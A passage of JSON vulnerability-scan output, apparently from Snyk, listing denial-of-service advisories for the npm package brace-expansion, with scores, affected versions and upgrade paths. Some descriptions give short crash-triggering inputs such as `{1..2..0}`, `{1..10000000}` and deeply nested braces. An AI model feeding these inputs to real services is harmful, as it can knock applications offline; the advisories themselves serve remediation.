"type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, 